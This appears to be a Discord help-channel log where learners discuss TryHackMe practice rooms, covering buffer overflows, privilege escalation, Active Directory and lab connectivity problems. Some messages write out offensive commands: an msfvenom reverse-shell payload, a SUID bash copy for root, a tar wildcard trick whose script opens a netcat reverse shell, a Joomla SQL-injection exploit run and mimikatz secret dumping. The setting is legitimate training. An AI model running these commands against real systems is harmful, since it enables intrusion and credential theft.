If anyone can help, it'd be much appreciated. Attached is a screenshot for reference.

unknown.png
slender horizon
#

Hi

#

I would like to initiate my self into BufferOverFlow but im absolute begginer in all that has to be with memory, stack, pointers etc

#

The thing is that i already found some good resources to boot into BOF but all of them assume that u have an acceptable knowledge of the bases that i lack of.

#

Any body here knows of some resource or tutorial of BOF for begginers like me or, instead, a resource to learn the necesary bases to start with BOF?

#

Thanks!

#

Then i will continue with the tutorials hehehe but, in any case, do you know how is the name of the field of computing that covers Memory, stack/heap, pointers etc? I know that maybe it isn't necesary to know very deep about this but i feel more confortable like that

#

hehehe ok

#

thanks!

arctic crypt
#

On the topic of buffer overflow, when I try to test the programs in the Brainstorm and Gatekeeper rooms on my host computer they crash at a completely different number in any guide. I actually fuzzed gatekeeper to 4000 bytes before I stopped cause I knew it was ridiculous. Anyone know why thats happening? Im testing the programs on Windows 10 with Immunity Debugger

narrow nexus
#

Hello there. Anyone can help me for this ? I tried to list file on ftp but not working. It is about the room Brainstorm

Screenshot_2022-10-19_16_30_20.png
dense gate
narrow nexus
desert topazBOT
#

Gave +1 Rep to @dense gate

edgy heron
#

Has anyone here had trouble downloading Immunity Debugger from the ImmunityInc website? I've tried on multiple VMs as well as my host system, and keep getting 404s 😡

lone meadow
#

token and send be four

#

call be send in see

warped junco
#

hi everyone

#

have a problem

#

screen

#

[-] Fetching CSRF token
[-] Testing SQLi
Traceback (most recent call last):
File "joomblah.py", line 314, in <module>
sys.exit(main("http://192.168.10.100:8080/joomla"))
File "joomblah.py", line 310, in main
pwn_joomla_again(options)
File "joomblah.py", line 247, in pwn_joomla_again
tables = extract_joomla_tables(options, sess, token)
File "joomblah.py", line 126, in extract_joomla_tables
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
File "joomblah.py", line 78, in joomla_370_sqli_extract
result += value
TypeError: must be str, not bytes

spring vine
warped junco
warped junco
#

yes the ip was correct

#

ok cool, I will search

edgy heron
#

Anybody able to helo with the GateKeeper room exploit script not working? Im using the same script from brainstorm with minor modifications, but the connection is closing without the bytes being received. Here's a screenshot of the script and the immunity output.

frank troutBOT
spring vine
static python
#

I am working on the Alfred room, I am trying to pass the reverse shell to my Kali VM. I set up the python server to serve the PowerShell script, I get a 200 code however, my netcat does not pick up the reverse shell. I have tried different ports, I have tried resetting my VPN connection, I have read through a few walkthroughs and the only thing that I am seeing is some use a "python -m SimpleHTTPServer" and some use a "python3 -m http.server" - I am using the latter.

#

Has anyone ran into this issue or am I a one off?

cerulean wadi
#

Hello, everyone

#

I was trying to do Privilege escalation on a linux machine, there was a script running every minute with root privileges, I added the following to it

cp /bin/bash /tmp ; chmod +s /tmp/bash

then I started it using /tmp/bash -p I was root but with the same env of the low privilege user

#

This is a demo of what I mean

unknown.png
#

I'm root but $HOME is /home/juba

#

The same thing for sudo -l
it asks me for the low privilege user password not for the high privilege user (root)
whoami
root
sudo -l
user juba may run .....

cerulean wadi
#

I don't know what is EUID, I'm going to search for it

#

Thanks @hidden shoal

desert topazBOT
#

Gave +1 Rep to @hidden shoal

cobalt sandal
#

Hello, I m doing the Jenkins Machine rn. I don't wanna use metasploit so I did a little bit of research and found a few useful scripts for LocalPrivEsc (All kinds of potatoes, RougeWinRM) but I couldn't figure out a way to compile them. No guides touch on that and have ready .exes so it must be something very obv that I m missing. Some help please ?
Edit: Please ping me in the response. Thanks !

fleet wedge
#

Hey I was wondering if anyone might be able to help me with the gatekeeper room, I am having some difficulty getting a reverse shell for the BOF. I can capture the EIP, get the offset, Ive identified the bad characters and gotten the jmp address. I set a break point there and it all worked. So I am thinking there must be something wrong with my payload. I cant get it to pop calc.exe either. Ive used both my local kali and the THM attack box with the same results. This is the msfvenom I am using to generate the reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=10.10.21.183 LPORT=4444 EXITFUNC=thread -b "\x00\x0a" -f c any suggestions as to what I am doing wrong. Thanks!

arctic crypt
prisma drum
#

YOOO

#

I WANNa learn hacking plz

cobalt sandal
# prisma drum I WANNa learn hacking plz

If you think hacking requires some "magic" tricks you're mistaken. It's hard often tedious. All you need is motivation. Go take a beginner pathway and complete it without using any walkthroughs.

prisma drum
#

and what logicial i should work on

#

like kali linux?

#

@cobalt sandal

cobalt sandal
prisma drum
#

what is parrot plz

cobalt sandal
#

Google it lol?
Human brain has far less storage than google servers. Ask them

deep obsidian
#

hey guys. I'm struggling the task 2 of the buffer overflow prep room because when I try to run this command "!mona compare -f X:\mona\oscp\bytearray.bin -an <address>" the immunity debugger launch this error "unable to find/read file C:\mona\oscp\bytearray.bin" Anybody has any idea why?

arctic crypt
#

Did you follow the steps and generate a byte array with the mona command shown in the module

#

you should also be able to find the byte array in the mona directory in file explorer

fleet wedge
unborn siren
#

I've tried each US VPN endpoint but the Hackpark machine is just creeping slow. I'm going back through to produce screenshots to accompany my notes and I do not remember this machine struggling this bad.

Has anyone had this issue recently and been able to find a solution? I'm cross posting this from #site-support because this may be a better place to ask this.

near swan
#

I'm having issues with the Internal machine. I don't know if it's my connection or the machine that is lagging but after 5minutes on the machine, it freezes and I can't interact with it anymore ...

steady scroll
unborn siren
steady scroll
#

I'm currently using US VIP west

full dragon
#

hi

#

for me U.S database is working fine.

lone salmon
#

Hello

#

😫

upbeat sinew
#

Hi, Im doing the kenobi machine and one of the questions is, how many ports are open? The answer is 7 because I have been trying numbers, but my nmap scan is showing 11 open ports. Can someone explain it? Is it a bug?

image.png image.png
keen iris
upbeat sinew
#

ty

quartz matrix
#

hey people, so ijust started the BOF room and i can connect to xfreerdp but i dont get PING to the machine and nc cannot reach the machine as well and idea whats the problem ?

#

There is this part :
`On your Kali box, connect to port 1337 on 10.10.163.18 using netcat:

nc 10.10.163.18 1337

Type "HELP" and press Enter. Note that there are 10 different OVERFLOW commands numbered 1 - 10. Type "OVERFLOW1 test" and press enter. The response should be "OVERFLOW1 COMPLETE". Terminate the connection.`

near swan
#

Any one got tips for the BOF Brainstorm challenge, I can not start the chatserver.exe on my windows 7 machine.

prime trench
#

Does offensive pentest path include all the required rooms for the oscp certificate?

wind geode
#

Just type binary in your ftp client

#

And then download exe from there

#

By the way, I want some feedback from those guys who knows about BOF about my BOF assistant tool

#

I know self promotion isn't allowed here
But I want just a feedback about this tool
I created after learning from BOF prep room

If anyone is interested to give me feedback just search

Buffer Overflow Automation
On Google or YouTube

near swan
desert topazBOT
#

Gave +1 Rep to @wind geode

inland elk
#

Hi i have a question regarding Active directory topic -> Exploiting active directory > Exploiting Kerberos Delegation I login to the Workstation 1 but whenever i try to run mimikatz lsadump::secrets i do not receive the same output as in example it rather throws an error (I'm using attack box)

#

it also seems that the lab is really slow because at the moment i got stuck trying to replicate an error. Is this normal ?

inland elk
#

mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : a1403e57976b472bce5f231922ca3942
ERROR kuhl_m_lsadump_secretsOrCache ; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005)

high matrix
#

run threader3000, but can't get any port open ,but nmap find. In room "relevant"

eternal hare
#

I am stuck at the privilege escalation of Skynet, on a tar wildcard exploit to execute your own command. I created the 3 files necessary to make tar run my .sh.

  1. The .sh contain a nc to my machine (the command is working by hand from the skynet server)
  2. The backup.tgz is being created each minute, so cron is running correctly
  3. I chown 777 the shell.sh thinking it was coming from this

I need another pair of eyes, do you see anything wrong in the files name / content ?

www-data@skynet:/var/www/html$ ls
ls
--checkpoint-action=exec=sh shell.sh admin css js
--checkpoint=1 ai image.png shell.sh
45kra24zxs28v3yd config index.html style.css

www-data@skynet:/var/www/html$ cat shell.sh
cat shell.sh
nc 10.11.8.34 3535 -e /bin/bash

#

My bad the -e option I added is not recognised by nc, changing the .sh content to create a file did work...

wheat dew
#

hey guys